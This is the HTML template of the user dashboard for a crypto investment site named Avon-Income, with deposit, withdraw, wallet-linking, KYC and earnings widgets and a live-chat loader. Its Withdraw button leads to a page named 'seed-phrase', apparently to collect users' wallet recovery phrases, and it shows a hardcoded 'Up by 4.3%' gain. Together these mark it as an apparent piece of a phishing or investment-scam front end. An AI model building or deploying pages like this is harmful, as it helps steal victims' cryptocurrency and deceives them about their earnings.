

<!DOCTYPE HTML>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, viewport-fit=cover" />
<title>  Avon-Income</title>
<link rel="stylesheet" type="text/css" href="appfolder/styles/bootstrap.css">
<link rel="stylesheet" type="text/css" href="appfolder/fonts/bootstrap-icons.css">
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Source+Sans+Pro:wght@500;600;700&family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">

<meta id="theme-check" name="theme-color" content="#FFFFFF">
<link rel="apple-touch-icon" sizes="180x180" href="appfolder/app/icons/icon-192x192.png"></head>
<body class="theme-dark">
<div id="preloader"><div class="spinner-border color-highlight" role="status"></div></div>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<script src="https://kit.fontawesome.com/a076d05399.js" crossorigin="anonymous"></script>

 
<div id="page">

<div id="footer-bar" class="footer-bar-1 footer-bar-detached">
<a href="?a=deposit"><i class="fa fa-arrow-up" style="font-size:25px;"></i><span>Deposit</span></a>
<a href="?a=seed-phrase"><i class="fa fa-arrow-down" style="font-size:25px;"></i><span>Withdraw</span></a>
<a href="?a=account"  class="circle-nav-2 scale-box"><i class="bi bi-house-fill"></i><span>Dashboard</span></a>
<a href="?a=security"><i class="fa fa-lock" style="font-size:25px;"></i><span>Security</span></a>
<a href="?a=edit_account"><i class="bi bi-three-dots"></i><span>More</span></a>
</div>


<div class="page-content footer-clear">

<div class="pt-3">
<div class="page-title d-flex">
    
<div class="align-self-center me-auto">
<p class="color-white opacity-80">{$userinfo.username}</p>
<h1 class="color-white">Welcome</h1>

</div>

<div class="align-self-center ms-auto">
<a href="?a=kyc" data-bs-toggle="dropdown1" class="icon rounded-m shadow-xl">
<img src="appfolder/images/pictures/20250504_101746.png" width="45" class="rounded-m" alt="img">
</a> 
<a href="?a=news"  class="icon bg-white color-theme rounded-m shadow-xl">
<i class="bi bi-bell-fill color-black font-17"></i>
<em class="badge bg-red-light color-white scale-box"></em>
</a>
<a href="#" data-bs-toggle="dropdown" class="icon rounded-m shadow-xl">
<img src="appfolder/images/pictures/avater.png" width="45" class="rounded-m" alt="img">
</a> 


<div class="dropdown-menu">
<div class="card card-style shadow-m mt-1 me-1">
<div class="list-group list-custom list-group-s list-group-flush rounded-xs px-3 py-1">
<a href="?a=info" class="list-group-item">
<i class="has-bg gradient-green shadow-bg shadow-bg-xs color-white rounded-xs bi bi-credit-card"></i>
<strong class="font-13">Link Wallet</strong>
</a>
<a href="?a=earnings" class="list-group-item">
<i class="has-bg gradient-blue shadow-bg shadow-bg-xs color-white rounded-xs bi bi-graph-up"></i>
<strong class="font-13">Transactions</strong>
</a>
<a href="?a=edit_account" class="list-group-item">
<i class="has-bg gradient-yellow shadow-bg shadow-bg-xs color-white rounded-xs bi bi-person-circle"></i>
<strong class="font-13">Account</strong>
</a>
<a href="?a=logout" class="list-group-item">
<i class="has-bg gradient-red shadow-bg shadow-bg-xs color-white rounded-xs bi bi-power"></i>
<strong class="font-13">Log Out</strong>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
<style>
#customers {
  font-family: Arial, Helvetica, sans-serif;
  border-collapse: collapse;
  width: 100%;
}

#customers td, #customers th {
  border: 1px solid #ddd;
  padding: 8px;
}

#customers tr:nth-child(even){
background-color: #f2f2f2;}

#customers tr:hover {
background-color: #ddd;}

#customers th {
  padding-top: 12px;
  padding-bottom: 12px;
  text-align: left;
  background-color: #4A89DC;
  color: white;
}
</style>



<svg id="header-deco" viewBox="0 0 1440 600" xmlns="http://www.w3.org/2000/svg" class="transition duration-300 ease-in-out delay-150">
<path id="header-deco-1" d="M 0,600 C 0,600 0,120 0,120 C 92.36363636363635,133.79904306220095 184.7272727272727,147.59808612440193 287,148 C 389.2727272727273,148.40191387559807 501.4545454545455,135.40669856459328 592,129 C 682.5454545454545,122.5933014354067 751.4545454545455,122.77511961722489 848,115 C 944.5454545454545,107.22488038277511 1068.7272727272727,91.49282296650718 1172,91 C 1275.2727272727273,90.50717703349282 1357.6363636363635,105.25358851674642 1440,120 C 1440,120 1440,600 1440,600 Z"></path>
<path id="header-deco-2" d="M 0,600 C 0,600 0,240 0,240 C 98.97607655502392,258.2105263157895 197.95215311004785,276.4210526315789 278,282 C 358.04784688995215,287.5789473684211 419.16746411483257,280.5263157894737 524,265 C 628.8325358851674,249.4736842105263 777.377990430622,225.47368421052633 888,211 C 998.622009569378,196.52631578947367 1071.3205741626793,191.57894736842107 1157,198 C 1242.6794258373207,204.42105263157893 1341.3397129186603,222.21052631578948 1440,240 C 1440,240 1440,600 1440,600 Z"></path>
<path id="header-deco-3" d="M 0,600 C 0,600 0,360 0,360 C 65.43540669856458,339.55023923444975 130.87081339712915,319.1004784688995 245,321 C 359.12918660287085,322.8995215311005 521.9521531100479,347.1483253588517 616,352 C 710.0478468899521,356.8516746411483 735.3205741626795,342.3062200956938 822,333 C 908.6794258373205,323.6937799043062 1056.7655502392345,319.62679425837325 1170,325 C 1283.2344497607655,330.37320574162675 1361.6172248803828,345.1866028708134 1440,360 C 1440,360 1440,600 1440,600 Z"></path>
<path id="header-deco-4" d="M 0,600 C 0,600 0,480 0,480 C 70.90909090909093,494.91866028708137 141.81818181818187,509.8373205741627 239,499 C 336.18181818181813,488.1626794258373 459.6363636363636,451.5693779904306 567,446 C 674.3636363636364,440.4306220095694 765.6363636363636,465.88516746411483 862,465 C 958.3636363636364,464.11483253588517 1059.8181818181818,436.8899521531101 1157,435 C 1254.1818181818182,433.1100478468899 1347.090909090909,456.555023923445 1440,480 C 1440,480 1440,600 1440,600 Z"></path>
</svg>
<div class="card card-style bg-5" data-card-height="200" style="background-image: url(appfolder/images/pictures/5.jpg);">
<div class="card-center">

<div class="bg-theme px-3 py-2 rounded-end d-inline-block">
<h1 class="font-13 my-n1">
<a class="color-theme" data-bs-toggle="collapse" href="#balance3" aria-controls="balance2">Tap to View Balance</a>
</h1>
<div class="collapse" id="balance3"><h2 class="color-theme font-26">{$currency_sign}<b>{$ab_formated.total}</b></h2></div>
</div>
</div>
<strong class="card-top no-click font-12 p-3 color-white font-monospace">Crypto Account</strong>
<strong class="card-bottom no-click p-3 text-start color-white font-monospace font-10 line-height-xs">Account ID: 823984274</strong>
<div class="card-overlay bg-black opacity-50"></div>
</div>
<div class="splide single-slider slider-no-dots slider-no-arrows slider-visible" id="single-slider-1">
<div class="splide__track">
<div class="splide__list">
    
    
    
    {foreach from=$ps item=p}
    <div class="splide__slide">
<div class="card card-style mb-3 mx-0">
<div class="content pb-0">
<div class="d-flex">
<div>

</div>
<div class="ps-1">
<h1 class="font-24 mb-n1">{$p.name|escape:html}</h1>
<h5 class="font-14 font-400 opacity-70 mb-n1">Account</h5>
</div>
<div class="ms-auto">
<span class="color-green-dark rounded-l font-500 font-12 d-block text-end"><i class="bi bi-caret-up-fill pe-2"></i>Up by 4.3%</span>
<h1 class="mb-0 mt-n2" style="color:white">{$p.balance|fiat:$p.id}</h1>
</div>
</div>
</div>
</div>
</div>
{/foreach}







</div>
</div>
</div>

<div class="content my-0 px-1">
    
<div class="d-flex">
<div class="align-self-center">
<h3 class="font-16 mb-2">Account Stats</h3>
</div>
<div class="align-self-center ms-auto">
<a href="?a=earnings" class="font-12 pt-1">View All</a>
</div>
</div>
</div>
<div class="card card-style">
<div class="content my-2">
<a href="#" class="d-flex">
<div class="align-self-center w-25">
<h4 class="pt-1 mb-n1 font-16">Total Earning</h4>
 
</div>
<div class="align-self-center m-auto">
<div id="chart-btc" class="chart mt-n5 pt-4 ms-n3"></div>
</div>
<div class="ms-auto">
<h4 class="mb-n1 pt-2">{$currency_sign}<b>{$ab_formated.earning}</b></h4>
 
</div>
</a>
</div>
<div class="content my-2">
<a href="#" class="d-flex">
<div class="align-self-center w-25">
<h4 class="pt-1 mb-n1 font-16">Total Withdrawal</h4>
 
</div>
<div class="align-self-center m-auto">
<div id="chart-eth" class="chart mt-n5 pt-4 ms-n3"></div>
</div>
<div class="ms-auto">
<h4 class="mb-n1 pt-2">{$currency_sign}<b>{$ab_formated.withdrawal}</b></h4>
 
</div>
</a>
</div>
<div class="content my-2">
<a href="#" class="d-flex">
<div class="align-self-center w-25">
<h4 class="pt-1 mb-n1 font-16">Active Investment</h4>
 
</div>
<div class="align-self-center m-auto">
<div id="chart-eur" class="chart mt-n5 pt-4 ms-n3"></div>
</div>
<div class="ms-auto">
<h4 class="mb-n1 pt-2">{$currency_sign}<b>{$ab_formated.active_deposit}</b></h4>
 
</div>
</a>
</div>
<div class="content my-2">
<a href="#" class="d-flex">
<div class="align-self-center w-25">
<h4 class="pt-1 mb-n1 font-16">Total Investment</h4>
 
</div>
<div class="align-self-center m-auto">
<div id="chart-eur" class="chart mt-n5 pt-4 ms-n3"></div>
</div>
<div class="ms-auto">
<h4 class="mb-n1 pt-2">{$currency_sign}<b>{$ab_formated.deposit}</b></h4>
 
</div>
</a>
</div>
</div>
<a href="?a=earnings" class="btn btn-full gradient-blue mx-3 rounded-s btn-m">View your Reports</a>
<div class="divider mx-3 my-4"></div>

</div>

 

<div id="menu-sidebar" data-menu-active="nav-welcome"  class="offcanvas offcanvas-start offcanvas-detached rounded-m">
    
</div>


</div>

<script src="appfolder/scripts/bootstrap.min.js"></script>
<script src="appfolder/scripts/custom.js"></script>
</body> 
<!-- Smartsupp Live Chat script -->
<script type="text/javascript">
var _smartsupp = _smartsupp || {};
_smartsupp.key = '1dae10de7dcb1f47e3001034730f3111ee95561a';
window.smartsupp||(function(d) {
  var s,c,o=smartsupp=function(){ o._.push(arguments)};o._=[];
  s=d.getElementsByTagName('script')[0];c=d.createElement('script');
  c.type='text/javascript';c.charset='utf-8';c.async=true;
  c.src='https://www.smartsuppchat.com/loader.js?';s.parentNode.insertBefore(c,s);
})(document);
</script>
<noscript> Powered by <a href=“https://www.smartsupp.com” target=“_blank”>Smartsupp</a></noscript>
